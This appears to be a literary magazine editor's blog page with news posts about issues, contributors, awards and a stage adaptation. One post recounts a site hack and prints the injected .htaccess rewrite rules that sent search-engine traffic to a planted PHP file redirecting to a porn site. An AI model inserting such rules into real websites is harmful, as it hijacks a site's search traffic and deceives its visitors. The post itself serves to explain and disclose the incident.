May 232016


Okay, this is one of those, you know, things that come out of the blue. Tom Greene, VCFA’s president, called me from his car this morning to tell me they had launched a new Vermont College of Fine Arts Artists Development Fund based on a $1 million donation from the Martin Foundation. Part of the fund, a fund within the fund for writers, authors, and publishers, is named after me.


The announcement just went up on Friday. You can find the relevant VCFA web page here. And you can download Artists Development Fund brochure here.

Naturally, I am nonplussed, amazed, bemused, and touched. I am grateful to the Martin Foundation for singling me out like this. It’s a terrific honour. I hope the fund inspires and supports many, many great writers in the future.

There is, of course, backstory here. But so far the donor wishes to remain anonymous, and I won’t blab.



May 152016



Micheline Lanctôt and Le Rédempteur, image via Radio-Canada

Actress, director, writer, translator Micheline Lanctôt picked my novel as one of the indispensable books last month on French language CBC Radio. The word they used on air and on their website is “incontournable.” The novel in question is my book The Life and Times of Captain N., first published by Knopf in New York where Gordon Lish was my editor. The French version was published under the title Le Rédempteur  (the redeemer, which was its working title most of the time I was writing it, oddly enough). The translator was the redoubtable Daniel Poliquin who went on to be a prolific novelist himself (this was back in the early 1990s).

Micheline knows my work intimately. She translated my book of stories 16 Categories of Desire into French. It was published as Seize Sortes de Désir. She’s a wonderful actress and director. Long before I actually met her, or even thought of meeting her, I knew exactly who she was, having been entranced with her performance on the screen in The Apprenticeship of Duddy Kravitz (1974), where she played the French-Canadian love interest opposite Richard Dreyfus.

View the complete list of indispensable books @ Ici on lit at Radio-Canada.


May 152016

Carollyn Ogburn

It’s a deep pleasure to announce that Carolyn Ogburn is joining the NC masthead as a contributor. It’s long been a fantasy of mine to open up a music wing of the magazine. We’ve had some sporadic pieces now and then, some wonderful in their own right, but never anything continuous or systematic. Now Carolyn has come along to fill the niche. From now on we should have a semi-regular stream of really good music pieces, interviews mostly to begin with. She’s already done two (see below), and they’re terrific, opening up a whole new experience for our readers and giving us an entry into a new art form. Carolyn is my dream hire: competent, dependable, very smart about music, a good writer, and she can handle WordPress!

Music in the Anthropocene: Interview with Composer Nathan Currier — Carolyn Ogburn

Random Walks: Interview with Composer Ivan Seng — Carolyn Ogburn

Carolyn Ogburn lives in the mountains of Western North Carolina where she takes on a variety of worldly topics from the quiet comfort of her porch. Her writing can be found in the Asheville Poetry Review, the Potomac Review, the Indiana Review, and more. A graduate of Oberlin Conservatory and NC School of the Arts, she writes on literature, autism, music, and disability rights. She is completing an MFA at Vermont College of Fine Arts, and is at work on her first novel.

May 082016

MetanoiaClick on the image to go to the publisher’s page.

I am a little slow on this. Putting the magazine out is one thing. But then there is keeping up with the GOOD NEWS.

Sharon McCartney is probably the poet (along with Sydney Lea) we have  published most often in NC. McCartney poems published here were picked for Best Canadian Poetry in both 2012 and 2013. Then in November, 2014, we published a long poetic sequence called Metanoia, which has just now (April) been turned into a gorgeous, small book and published by Biblioasis.

Here’s a teaser from the Biblioasis book description:

T.S. Eliot and Tennessee Ernie Ford, Buddha and Jesus, Jung and Heidegger. Love, solitude, obliteration, the ocean and a sad neighbor who feeds pigeons. Metanoia is an aphoristically narrative poem that engages all of these, a book-length meditation on transformation, enlightenment, on opening one’s eyes. McCartney’s work evinces that journey, the junket into the self.


“So much is revealed in so few words … It’s a book that feels light, but its delivery is heavy, and worthy of contemplation … McCartney is merciless in exposing vulnerability, but also builds an intimacy integral to Metanoia’s achievement.”—Quill & Quire, starred review

The book includes a lovely acknowledgement:

Metanoia originally appeared, in a slightly different version, in the November 2014 issue of Numéro Cinq. Sincere thanks to Douglas Glover and everyone at Numéro Cinq.

A couple of informal observations:

  1. This isn’t the first book we’ve published in the magazine. We just did Sam Savage’s Collected Poems last month. We also published a complete novel by Robert Day as a serial. And Pat Keane’s essay (also last month) is essentially a book-length piece.
  2. Sharon McCartney is something else, a poet with a personal vision who, in work after work, digs deeper into the exposed tissue of her own soul.
  3. The best news of all: We have more Sharon McCartney poems coming in the June issue.


May 012016

Gary Garvin

Top of the Page this month — Gary Garvin, a superbly talented writer, just now beginning to get traction with the publishing establishment, with essays appearing recently in Fourth Genre, TriQuarterly and Web Conjunctions among others. But at NC we’ve known about him all along. His work began appearing here in the second issue of the magazine back in March, 2010. He published several pieces in that first year of our existence, including a wonderful essay about basketball great Stephen Curry and a What It’s Like Living Here essay about Cupertino and Silicon Valley, Then he went away, only to come roaring back in 2015 with that amazing story “In the Garden.” He returns this issue with an essay on modernism, Mies van der Rohe, architecture, and, yes, Lego models. Garvin is ferociously intelligent, an obsessive perfectionist, a humanist, a social critic, prophet, and radical thinker. I’ve called him a genuine American original — I’ll stick with that.


Apr 252016

NC diagram

NC 2nd floor planSketch and Lego floor plan of the Mies van der Rohe Brick Country House

Superlatives are out the window. I have no more. How many times can you say you’re astonished, gobsmacked, and catatonic from the sheer explosive freshness and quality of the writing before it becomes the ordinary?

It has become the ordinary.

I am astonished, gobsmacked, honoured, and not quite catatonic (but close) from the sheer explosive freshness, inventiveness, passion and quality of the writing in this issue. In December, we had a lengthy, comprehensive interview with Gabriel Josipovici, celebrated novelist and author of the book What Ever Happened to Modernism? (we called the interview “The Mind of the Modern”). In the new May issue, we have, mirabile dictu, a mysterious and uncanny excerpt from Josipovici’s work-in-progress My Brother.

gabriel-josipoviciGabriel Josipovici

How long should I wait? For it sometimes happens that he forgets that we are playing and lies down somewhere and falls asleep. Or opens the fridge and makes himself a sandwich, then sits down with a magazine to eat it. And when I finally come across him and ask him what has happened he looks at me blankly. Don’t you remember? I say. We were playing. You were supposed to find me.

That was yesterday, he says. —Gabriel Josipovici

Gary GarvinGary Garvin

From Gary Garvin, who has been writing for the magazine since the first issue (you can watch him age in his photographs), we have a uniquely powerful and beautifully eccentric essay on Modernism, architecture, Mies van Der Rohe’s famous Brick Country House and, yes, Lego models (meticulously built by the author himself). Garvin is a true American original, not to be missed.

It’s the sketch of the floor plan that most captured attention. It reflected aesthetic interests of the time—Cubist ideas about space—and acted as a visual manifesto. And it has sustained interest ever since. It appears on the cover of the recent third edition of William Curtis’s Modern Architecture Since 1900, serving as gateway to the subject. The sketch is a work of art in its own right, reminiscent of De Stijl paintings, in fact has been compared to one. The figure has the power of a sign, an ideogram that captures a principle, concise and complex, that represents an essential understanding of the world, or the way we might want to see it. Or it could be taken as a symbol for the creative act, or a model for prose. Or a picture of thought itself, of both a theory and method combined, interrelated. —Gary Garvin

Genese GrillGenese Grill

And from our own masthead in the form of author-translator Genese Grill, we have wise and erudite meditation on Modernism and the construction of meaning in which she coins the phrase “the categorical imp” — a mischievous combination of Kant’s Categorical Imperative and Poe’s “imp of the perverse.”

The categorical imp of the perverse is a hybrid of Kant’s categorical imperative (“Act only in accordance with that maxim through which you can at the same time will that it become a universal law”) and Poe’s “imp of the perverse” (a force that will suddenly act in seeming opposition to reason). This strange imp will leap about in the following pages amid all manner of philosophical confusion and try to sew together again the patches of thought that have been ripped apart, but in motley fashion; for she is but a poor sewer for such complicated quilting and, besides, the seams will, in the best of circumstances, burst again and require some new arrangement. —Genese Grill

Tomoe HillTomoé Hill

Tomoé Hill’s essay “Apple and Pear Trees” is one of the best things we have published in the line of personal essays, and maybe that’s not even what it should be called. It’s unique and powerful and never what you would expect. It’s about leaving, moving, arousal, sexual melancholia, and books — just to start with. It drips with sex and sadness; it makes you feel and think.

Myth is steeped in sex: how it transforms us, in both wonder and fear. We pursue and are pursued. How would a lover now come to me? Not in a shower of gold or the guise of a swan, but in those languorous hours where my mind, restless in a sleeping body, imagines the softness of sheets as skin, my heat creating the ghost of past lovers, future ones next to me. —Tomoé Hill

solieKaren Solie

The poet David Wojahn has penned for this issue a lengthy, luminous, and laudatory (and incidentally funny: see his lovely little aside on reading other readers’ annotations in old books) review of his latest discovery, the poetry of Canadian Karen Solie whom he compares to Berryman, Lowell and Vallejo.

When I read Karen Solie, I’m reminded of my first encounters with Berryman’s Dream Songs, Lowell’s Life Studies, or Vallejo’s posthumously published poetry. The books seemed unrelentingly astonishing, had a skewed but insistent sense of moral gravitas, and demanded a response that was as physical as it was intellectual. —David Wojahn

wojahn_david-photo-5-2013David Wojahn

Momina use this photoMomina Masood

For the first time ever in the magazine, we have poetry from Pakistan, surprising, razor-sharp verse from a young writer, Momina Masood, who will make her mark.

I have been
The virgin you were promised
for good behaviour,
And a sizeable body count.
But I have left Eden (some of us do get out) —Momina Masood

Zsofia Ban by Dirk SkibaZsófia Bán

From Budapest, we have Zsófia Bán’s short story “Transit of Venus” translated by the inimitable Erika Mihálycsa.

Well to this you just can’t say no. I have a heart too, even if a bit stony. Come now, here’s this stony, loving, cabby’s heart of mine. Take it. Shred it to pieces. —Zsófia Bán translated by Erika Mihálycsa

13_Nathan_Kind_Currier_t700Nathan Currier

For this issue, Carolyn Ogburn has interviewed the composer Nathan Currier. We have sound files and videos, a new music extravaganza.

But since those first flutes were fashioned out of vulture bones several tens of thousands of years ago, all music has intrinsically spoken to our interaction with Nature around us, and our Anthropocene era is defined by a cataclysmic pulse signal being fed into the whole Earth System, caused by us – as stupid and dangerous an experiment as has ever been conducted. —Nathan Currier

Mary ByrneMary Byrne

The Irish fiction writer Mary Byrne (living in Paris) contributes a sly, witty, disturbing, mordant, comical short story.

It was Bea who said, “But she was far too young to die from the heat!”

“Not the heat,” said the Queen of Hearts. “The loneliness.” —Mary Byrne

Betsy book pics 2013 - 147Betsy Sholl

From Betsy Sholl, new poems, an alphabetical invention, intricate and sublime.

…as if faith—or fate—

is all detour and surprise, stepping out
to find the way back in. —Betsy Sholl

Denise LowDenise Low

More poems, too, from Denise Low in Kansas. Homage poems and found poems. To die for is “Labels from the Field Museum,” which aches with life and loss.

9 July 1881
xxxxxBush on this day: collector
xxxxxat Blue Island, Cook Co.
one female buff-

xxxxxand tangerine-feathered

December 11, 1883
xxxxxwithin the specimen drawer
xxxxxone iridescent crimson ♂ male
xxxxxneck twisted to uncertain sight —Denise Low

Shawn SelwayShawn Selway

From Hamilton, an industrial city on the shore of Lake Ontario, Canada’s Rust Belt, Shawn Selway raps out a brilliant What It’s Like Living Here essay.

Looking east from Pier 8, where the tugs are snugged at night, those domes you see are grain storage bins. Beyond, behind the laker, are the mills, half-idled now as U.S. Steel gets on with killing Stelco, the homegrown competitor it bought a few years back. Their latest stunt is to persuade a judge to relieve them of paying certain medical benefits to their pensioners. We inhabit a lampoon of capitalism. Marx would certainly get a laugh out of the view: the mountain of capital left to rust unused, and just beyond, a second mountain, still alive with fire and action and thriving alongside the corpse of its former rival. I sometimes think of writing him, you know, the way Auden wrote to Byron, to give him an update. —Shawn Selway

And after that, there is more: new poems by Ingrid Ruthig, book reviews from Jason DeYoung and Joseph Schreiber, a new NC at the Movies from Rob Gray, a new bit of the green from Gerry Beirne (Uimhir a Cúig)…

I’m impressed. I’m not easily impressed. But this one impresses me.

It may be our best issue yet.


Apr 232016

Logo large

All good at Numéro Cinq Magazine. We’re still at zero for security issues on the Google Search Console. I have updated the magazine security software and we have a new caching engine.

The new security software delivers email alerts when someone tries to sign into the site, and so I see all the IP addresses for people who don’t have a correct username. It’s a bit chilling sometimes. My username was pretty generic and somehow someone guessed it or found it out. And last night there were over a hundred attempts to log in with that username (now defunct) without the correct password, of course. These attempts came from all over the world (so you know it’s a bot, not likely a real person). They started in Saint Petersburg, Russia, thence to Uruguay, then South Korea. Then they just came up everywhere. I am told that this is what’s called a brute force attack and is part of the background noise of the Internet.

Pretty soon I am going to turn off the email alerts. They are a bit too unnerving to watch. Truth is this has been happening all along and I just never noticed.

The good news is that the security software locks each one of these IP addresses out.


Apr 202016

Looks like we might be clear. The site redirect malware is gone. And the Google security alert now reads:

Security Issues

Currently, we haven’t detected any security issues with your site’s content.

I am redoing our internal security setup and that also includes changing the site’s caching software. So please bear with us if the site seems a little slow. We should have everything ironed out by next week.


Apr 172016

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A word on submissions. A while back we opened a window for submissions for our essay series — What It’s Like Living Here, Childhood, & My First Job. There was a very decent response and some excellent pieces came in. A least one of the writers has become something of a regular on NC. But it’s become a bit arduous. Many people making submissions did not read or try to follow the guidelines. We got involved cases of multiple rewrites, coaching, and prolonged discussions. Given the current state of things here, we’ve decided to stop all submissions for now. We love you all, but we can’t take on too much work here. The submissions page has been taken down. The submissions button (which also attracted other submissions and marketing shills) is gone. We’ll let you know when submissions open up again. But, right now, we won’t read submissions. We’re back to publishing entirely by invitation only. On the other hand, as the small print says, if you show up and comment and share NC posts and demonstrate that you are a loyal part of the community, you might eventually expect to get invited.

Apr 172016

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The bad news is that NC is still hacked. Google Search security is showing three infected pages; Jonah (our tech team) has found another suspicious file.

My moment of bravado yesterday was misplaced. We found one piece of malicious code, not the whole lot.

It’s detective work. Funding the infected spots in the code and also finding out how they got there.

Jonah is our Hercule Poirot.

On the other hand, we can go nuclear. The good news is that we pay for daily backups. Our latest hunch is that the infections started April 5 when I got horribly efficient and updated three plugins. I could roll the site back to April 1 or so and get rid of all the infections in one fell swoop. We would lose the April issue, but we can reconstruct that.

Apr 162016

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The Numéro Cinq Magazine site was hacked. The first indication I had of this came on April 13, when a friendly stranger tweeted me about some odd Google search redirects. I was a bit naive and did not quite understand the message at first. Then yesterday, April 15, a student of mine at Vermont College of Fine Arts emailed me to say he had clicked on a link and found himself looking at naked bodies. His message was enigmatic because he didn’t say what link. I checked the site and it was fine. It took me a few more minutes before I realized that he was referring to the link he got when he searched the magazine on Google Search. If you searched for NC, you got a link that said it was for NC but actually took you to a porn site. I didn’t stay on it long enough to notice the name or the content.

Once we figured out what was going on, it took my son (our brilliant tech team, also former NC contributor) Jonah about ten minutes to find and clean out the malicious code. It was in the htaccess file in the NC WordPress directory.

Here it is:

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ – [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ blustery-annabal.php?$1 [L]

What this code did was simply redirect any search inquiries for Numéro Cinq (on Google, Yahoo, MSN, Bing, and AOL) to a wonderfully named file called “blustery-annabel” (proof that poetry has not been lost in the souls of Internet marketers). Blustery-annabel is a php file also inserted into the NC WordPress directory. It contains a lot of nonsense text and then a command that redirects to a porn site (not named in the command).

Both the malicious code and blustery-annabel had been inserted into the site’s directory from outside. As near as Jonah can figure out, it probably piggy-backed on a plugin upgrade I uploaded on or just before April 13. This is the only possible way anyone could get into the htaccess file. We’re going to be looking at the logs today to try to figure out which one. Probably, the plugin developers are unaware of the hack.

Why would someone do this? Well, it’s not as if someone specifically targeted the magazine. This kind of hack is perpetrated by an Internet bot that is out there constantly nosing around looking for entry points into WordPress sites, which have special vulnerabilities associated with plugin programs (little addon programs developed by the WordPress community or commercial developers to add extra functions WordPress left out of the original program). Basically, it’s a kind of free advertising for that porn site. Such bots infect hundreds of WordPress sites with redirects and out of all those sites and clicks and searches, a certain number of people will actually find the porn site attractive and might even pay something to join (or whatever). It’s a game of numbers and it’s all about marketing.

For sure, no one reading the magazine was ever under any threat. You would never have noticed. The only people affected were the ones who searched for NC on the search engines in question. And they only got the annoying redirect. No malicious code could have entered their computers that way.

We have neutralized the malicious code now. Though we have kept blustery-annabel because it’s a cute name (and doesn’t do any harm now). We are still trying to figure out how the code got onto the site. If we manage that we will notify the WordPress community and the plugin developer.

Thank you to our readers and interested strangers for being vigilant and letting us know that something was not right. Please keep on keeping an eye on things. You’re the best.


Apr 152016

NC Masthead LogoClick on the image to go to the Masthead.


Ever since we started listing all the writers, translators, artists, & musicians who have contributed to NC on the masthead page, I’ve been curious about the numbers. So this morning in an OCD fit, I counted them. I think I miscounted, but it’s something over 625 contributors. A small town! Just take a look at the page. It’s a VERY LONG LIST.

Also take a moment to reflect upon the brilliant collection of brilliant writers who makes up our vast collection of  editors and contributors. Many have their own NC Archive Pages, which list all their contributions to the magazine. Click on their names on the Masthead to see their pages.

The sheer mass, the accumulation, should give you pause. It’s quite amazing.

Apr 062016

glo logoClick on the logo to read the article.

Twitter fame (sort of) is the gift that keeps on giving. Russell Smith wrote a piece for the Globe and Mail about my sudden ascension to viral idolatry. I especially like it that NC “is also well-known for being intellectual and deep, in other words obscure.” I can only offer that NC is not so obscure, tweet-resistant, for sure, but not obscure. We hover around the half-million mark on, well ahead of Asymptote, Full-Stop, The White Review, Quill and Quire, Quarterly Conversation, Berfrois, River Teeth, Rain Taxi, and many, many notable sites/magazines. But “intellectual and deep” I’ll take.

He [Glover] himself is amused by this surge. He does, after all, like to say that he is legendary for being unknown. Maclean’s magazine once called him “the most eminent unknown Canadian writer alive.” Although he has won the Governor-General’s Award (in 2003, for the ambitious and playful novel Elle), his work is a little too elegant and clever for the book-club crowd, or for Canada Reads. He single-handedly created an online literary and philosophical magazine called Numéro Cinq, that is also well-known for being intellectual and deep, in other words obscure. The essays in Numéro Cinq are tweet-resistant: In the latest issue an entire book is posted, a six-chapter tome on contemporary U.S. policies as seen through the poetry of W.B. Yeats.

Read the whole piece at the Globe and Mail — Russell Smith: Easy inspiration in an age when everyone is a storyteller.

Apr 042016

quote2  quote6  quote3  quote5

This has been gathering momentum. I don’t know when the first person tweeted this quote — “A story consists of someone wanting something and having trouble getting it.” A year or so ago. Then it would bubble up occasionally. Some online writing coach would send it to subscribers and students. Then a month or two ago someone made an image out it. And then today some marketing content provider got hold of it, and suddenly it was all over Twitter on health, fitness, and, yes, weight loss Twitter feeds.

Obviously I have missed my calling. But now I see the light and NC is going to turn into a health & fitness advice and product site. We are already in the design phase for a line of clothing, also exercise devices, and sex aids. (The Numéro Cinq Midnight Rider is being tested as I write this. The ad copy will read something like: “Orgasmic bliss with the new Midnight Rider. A story consists of someone wanting something and having trouble getting it — but no more! Also helpful for losing weight and general cardiovascular fitness.”)

I’ve even forgotten where the quote comes from. Either The Enamoured Knight or Attack of the Copula Spiders. So I had to look it up. And there it was on page 11 of The Enamoured Knight, in the section called “Love and Books, an Introduction”. It is possibly the shortest sentence in the book. Here is the whole paragraph so you get a sense of where the quote fits. The paragraph also contains a lovely aphorism on the difference between literature and pornography.

The Greeks called their novels tales of suffering for love. If they weren’t about suffering for love, they wouldn’t be tales. A story consists of someone wanting something and having trouble getting it. There are no stories about people who start out happy and contented, remain happy and contented throughout, and end up happy and contented. Imagine the phrase “tales of not-suffering for love” or “tales of having fun for love” or “tales of finding pleasure for love.” The difference between pornography and literature is that in pornography everyone has orgasms all the time. There is no gap between desire and consummation. In literature there is always an element of frustration, displacement, delay and incompleteness (even if someone does eventually manage to have an orgasm). Don Quixote is the quintessential novel because it’s about a man in love with a woman who doesn’t exist. At the outset, Cervantes invents the limiting case.

There are some long sentences here, not suitable for Twitter. I am going to have work on style.


Apr 012016

craft drop shadow

For you delectation, incitement, excitement, and improvement, we are featuring selections from the Numéro Cinq Holy Book of Literary Craft in the slider at the top of the page in April. The Holy Book is a growing compendium of craft advice and consolation for those of us who are challenged (impaired) with a desire to write.

The selections, taken more or less at random, include Julie Marden’s essay on the device of thematic passages in Chekhov, Frank Richardson on loooooonnnnngggggg sentences, Nicole Chu on short story plot, Rebecca Martin on techniques writers use to represent emotions, Shambhavi Roy on subplots, and Anna Maria Johnson stunning visual analysis of image patterns in Annie Dillard’s Pilgrim at Tinker’s Creek.

There are more of these essays in the Holy Book, lots to learn, lots to pick away at. Take this as an invitation and a reminder. It’s there for FREE!

Mar 252016


It’s the April issue, the vernal surprise, the annual ritual of renewal, the turning of the year, the lengthening of days, mud season in Vermont, moments of  astonishing optimism for no reason, that issue. We have amazing things for you. We’ll knock your socks off. You’ll find it more entertaining than Donald Trump and Ted Cruz (okay, well, maybe not).

We have a couple of group items this issue. The first is a massive nine-person interview/conversation on the subject of Latino writing in the United States, Mexico and Puerto Rico today. Jonathan Marcantoni is the moderator/interlocutor. The conversation is lively, startling. Punches are not pulled. There are also book lists and reading recommendations. This is the state of the art.

I think this is a destructive mindset that is born from a marginalized, colonized perspective. The Oppression Olympics. The Authenticity Maze. The relative slice of the literary representation pie is not large enough for Latinos to start fighting over. I don’t know which Latino group “dominates” who. (The question makes us sound like we’re all battling for literary supremacy in the octagon.) —Rich Villar

  MasandeMasande Ntshanga

 Ben Woodard reviews South African author Masande Ntshanga’s debut novel The Reactive (we also have an excerpt coming).

Masande Ntshanga’s engrossing debut novel, The Reactive, unfolds during the Mbeki presidency. Lindanathi, a young HIV infected man in Cape Town, spends his days huffing industrial glue with his friends Cecelia and Ruan. The trio work together to illegally sell Lindanathi’s extra ARV supply—Cecelia and Ruan are not infected, and Lindanathi is a lucky ARV recipient—to local reactives for quick cash. In lieu of chapters, the novel is broken into five parts, and the first dedicates itself to establishing the relationship between Lindanathi, or Nathi, and his friends, who casually float in and out of day jobs, HI Virus group meetings, parties, and cloudy conversations. Nathi tells his story in first-person POV, and the reader is swiftly immersed into the daily ennui of the gang. In many ways, his life is one of limbo, and death’s inevitability frequently crops up, whether Nathi claims, “It’s still a long stretch of time before I die,” or plays games like Last Life, which “is the name we’ve come up with for what happens to me during my last year on the planet.” —Ben Woodard

Cynthia photo Shawnigan lakeCynthia Flood

We have a brand new story from Cynthia Flood, who has appeared here before and only gets better. This one is weird in the best way, a night wanderer, the clopping of police horses…

Strong feet stepped into the boy’s dream, came nearer down the hall, and he sat up, but the sounds went past, outside.

Quick, to the window.

Down the dark quiet street came four horses, two by two, with police on top. Streetlights shone on the animals’ rumps, the riders’ yellow vests. Clop clop. Harness glinted, tails waved, manes lifted and subsided. The horses too wore reflective yellow, in bands round their ankles. —Cynthia Flood


Mahtem Shiferraw - Author photoMahtem Shifferaw

We have poems from Mahtem Shifferaw’s debut colletction:

I wasn’t taught to notice one’s colors;

under the sun, everyone’s skin bounces streaks of light.

Which do I claim? It is difficult to expla
the difference between African & African American
the details escape me, thin paper folding the involucre of a burning fire.

—Mahtem Shifferaw



Ruth_WebRuth Lepson

And a gorgeous poem from Ruth Lepson on the fascinating American artist Cy Twombly who spent much of his working life in Europe, coming after the Abstract Expressionists and combing their influence with a vast interest in Classical art that surrounded him in Italy.

your chair looks kinda wobbly
cy twombly

I think you’re an anomaly

you’re practically
sliding off the chair
the window’s
broken by lines in a grid
it’s time to stand–
but sit for another minute
give us your specifics
wait — you don’t care
what you get across
or to whom

……………………—Ruth Lepson

Portrait of Cy Twombly by Fielding DawsonPortrait of Cy Twombly, Fielding Dawson

Pierre Joris 2Pierre Joris

Pierre Joris, who also has appeared here before (as a poet, translator and memoirist), returns with a segment of memoir.

Myth, I had learned that very year upon encountering the work and the person of the American poet Robert Duncan — who was to write one of greatest anti-Vietnam war poems the very next year —, the word “myth,” “mythos,” is akin to “mouth,” i.e. myth is the story told, the story that accompanies the ritual action, some action that starts out as, or wants to turn itself into, exemplary ritual. But maybe it is the retelling of the story — whatever it is — that recreates the action that turns the story into ritual and thus self-reflectively creates the myth. —Pierre Joris

Jackson VIvianRichard Jackson & Robert Vivian

Richard Jackson, a poet, and Robert Vivian, in his latest incarnation as an essay writer, have combined their voices to produce a book of poems and essays from which we have a preview excerpt.

All at once they picked themselves up from the barren fields and started walking toward the horizon, silent, solemn march going to the stars even as they tried to become them and rose the thrust and the warbler and the startled robin and I could see that the stones were naked but unabashed and unashamed wanting only to be rinsed again and rose the wind and the dust and where were the stones going but to another place not of their keening and to watch them go I felt abandoned and I did not ask the stones why… —Robert Vivian

Warren Motte 2016Warren Motte

Warren Motte favours us with a really fascinating essay on exoticism and how recent French novelists have used/portrayed America in their work.

I realize, all of a sudden, that my title sounds like the name of a rehab facility in Arizona, a place where “happiness” is very rare indeed and where the “shores” are notional ones, at best. I am quite certain that Baudelaire was not thinking of such a place, as he conjured up a luminous vision of utopia in the first quatrain of his sonnet, “Exotic Perfume”:

When, with both my eyes closed, on a hot autumn night,
I inhale the fragrance of your warm breast
I see happy shores spread out before me,
On which shines a dazzling and monotonous sun.

—Warren Motte

Michelangelo - Daniele da Volterra, 1533, Florence ItalyMichelangelo by Daniele da Volterra, 1533

Julie Larios is back with a new Undersung essay, this time focusing on the sculptor Michelangelo, who also happened to be a surpassing poet. For centuries only a sanitized version of his poetry existed in print…

For more than 200 years, this version of the poems – “discretely doctored” to disguise the homosexual nature of them – was the only one available. By the mid-1800’s scholars began to look back at the originals for comparison; in 1893 the British homosexual activist and poet/critic John Addington Symonds offered a more authentic version, correcting the changed pronouns (from “she” back to “he”) and adding in several of the more explicit poems not included in the 17th-century edition. By 1960 a complete edition was published that included 400 pages of editorial notes referring to the originals. —Julie Larios

Julie LariosJulie Larios

IMG-20160223-WA0005Óscar Oliva

We also have poems from the Mexican poet Óscar Oliva. Yes, yes, we are beginning to tap a steady flow of Mexican lit.

I am just one more shoulder in the crowd marching through,
teargas fumes me,
derailed trains burnt out at the terminal
ripped up tracks and the attack
of the police, of the army, of the riot squad
all in battle formation,
the Zócalo is a rifle butt in the face,
there’ll be more battles… —Óscar Oliva


Thomas SimpsonThomas Simpson

 Tom Simpson returns with another essay on his beloved Bosnia-Herzegovina. Once again his guide and inspiration is the wonderful poet Goran Simic (who also has appeared here on NC).

Like an existentialist’s bad joke, Goran’s driveway sits on a dangerous curve. The circular, convex mirror posted across the street, where the sidewalk is, helps only so much. All it tells you is whether a car is bearing down on you, right now, from the left. Once you make your move, all bets are off. The best you can do is utter a prayer, or mutter a curse, before you lurch into the unknown. —Thomas Simpson

Sejla Sehabovic and Goran Simic, Sarajevo 2014Goran Simic

And there is, as I always say, more. John Proctor reviews Patrick Madden’s new book of essays. We have an excerpt from the nonfiction anthology Dirt. There will be something from Ireland and a new NC at the movies. And Nance Van Winckel returns with an ekphrastic extravanganza, a series of creative prose responses to paintings by Kay O’Rourke, many of them by students from the Salish Language School in Spokane, Washington.

There may even be more, or there may be changes, things that surprise even me. There always are.

Mar 242016

Click on the image to read the first couple of paragraphs.

Just out, the new Cambridge Companion to Alice Munro (Cambridge University Press, March) with an essay by me. It’s called “The Style of Alice Munro.” Go buy the book and have a look. Just be to clear, this is not the other essay I wrote, “The Mind of Alice Munro,” which is in Attack of the Copula Spiders. That essay deals with Munro’s story “Meneseteung.” This is brand new, never before seen by anyone but the editors and my dog (who really liked it). The stories in reference this time are “Lives of Girls and Women” and “Baptizing,” which appear in Munro’s book Lives of Girls and Women.

Click the image at the top to see a snippet from the opening.


Mar 222016

Woodard Bigger

As I’ve mentioned before, we’re in the throes of rationalizing, streamlining, and decentralizing the magazine. It’s gotten very large. You may have noticed the masthead. It’s not a cottage industry anymore. We’re a small city. Look at the hundreds of artists and writers who’ve appeared. It’s a lot of keep track of. So the indefatigable Ben Woodard is now going to be in charge of translations at NC. This means he’ll be looking for translators and translations, excerpts of books coming out, interviews, essays about translation, etc. He will continue as one of our most dependable book reviewers as well and also will push ahead with his general interest (and the magazine’s general interest) in African writers and writing. Ben has been contributing to the magazine since his first fiction piece “Shame” appeared in our October, 2011, issue.



Benjamin Woodard lives in Connecticut. His recent fiction has appeared in RevolverMaudlin House, and Cheap Pop. In addition to Numéro Cinq, his nonfiction has been featured in, or is forthcoming from The Kenyon Review OnlineAlternating CurrentGeorgia Review, and other fine publications. He also helps run Atlas and Alice Literary Magazine. You can find him at and on Twitter.

Mar 122016

CaptureSevern Thompson as Elle in the original Theatre Passe Muraille production.

Exciting news about Elle, the play, (um, you know, based in my novel Elle) is beginning to emerge. Even when I was in Toronto for the world premiere in January, there were quiet whispers about taking the play on tour. Very sotto voce because theatres are a difficult market; they schedule far in advance and prefer their own productions (I was told). But Prairie Theatre Exchange in Winnipeg just announced their 2016-2017 season and Elle is going to be there. And Severn Thompson tells me other productions are in the conversation stage.



A historic play set before Canada was a country, Elle (Feb. 22-March 12) is a sesquicentennial-ready adaptation of a novel by Douglas Glover mostly set in the year 1542. It follows an unmanageable French noblewoman named Marguerite de Roberval who’s sent to the wilds of the New World in Jacques Cartier’s time and abandoned on the Isle of Demons (now known as Hospital Island, off the coast of Newfoundland) by her uncle. Actress Severn Thompson both adapted and stars in the play, which played earlier this year at Theatre Passe Muraille in Toronto.

“It’s a great story of her survival,” says Metcalfe. “In the usual literary Canadian narrative, people come over and the harshness of the land is tamed and the beauty is discovered. But she doesn’t tame the land, she learns to live inside it. It takes the usual Canadian narrative of our colonization of the land and actually flips it on its head.”

Read the rest at the Winnipeg Free Press.

Feb 222016

gayraud3-001Joël Gayraud

March is coming, the new issue, the Exotic/Quixotic issue, the overflowing cup issue!

Striking a blow for freedom of expression and the protean nature of art, we like to publish things that don’t fit in conventional slots, especially those academic creative writing niche slots like the personal essay (you know, where you write about something interesting but bring in your relationship with your boyfriend as well). We love the aphorism, the short nonfiction form. We publish aphorisms and extended aphorisms and essays that are formally long aphorisms. We also publish memoir and place pieces and book reviews that bring in craft and structure. In the latter, I am firmly convinced, you express yourself in the choices you make (without having to mention, um, yourself or your boyfriend).

One of the highlights of this issue is the excerpt from Joël Gayraud’s The Shadow’s Skin, translated from the French by S. D. Chrostowska (whose own incendiary book of extended aphorisms MATCHES: A Light Book we excerpted in our December issue). Books like these owe much to the example of Nietzsche who wrote in fragments or mini-essays or thought experiments or, perhaps, Adorno’s Minima Moralia, one of my all time favourites.

It’s also worth noting that in this issue we have a veritable plethora (you have to get the word “plethora” in every six months or so) of book reviews. This is a consequence of our policy of (like the airlines) double booking reviews, which have a way of not coming in on time or disappearing entirely (this has more to do with the vagaries of publishing schedules and the mail than our tribe of reviewers, a punctual and hardworking group). But then every once in a while a whole bunch of reviews arrive at once and suddenly the double booked flight is, well, double booked.

So this is a huge issue!

The development of sadomasochistic practices contributes more effectively than many revolutionary discourses to undermining the psychological foundations of power. When, in the intimacy of their bedroom, couples experimented with the game of submission and dominance—even where the sexual roles themselves remain uncriticized, the mere fact that this game took place enables the objectification of old fantasies of domination and slavery—fantasies that, as a consequence of the brutal and barbaric establishment of relations of domination, have been buried deep in the breast of humanity. — Joël Gayraud

Chrostowska_s_d_retouched_scaled_croppedS. D. Chrostowska

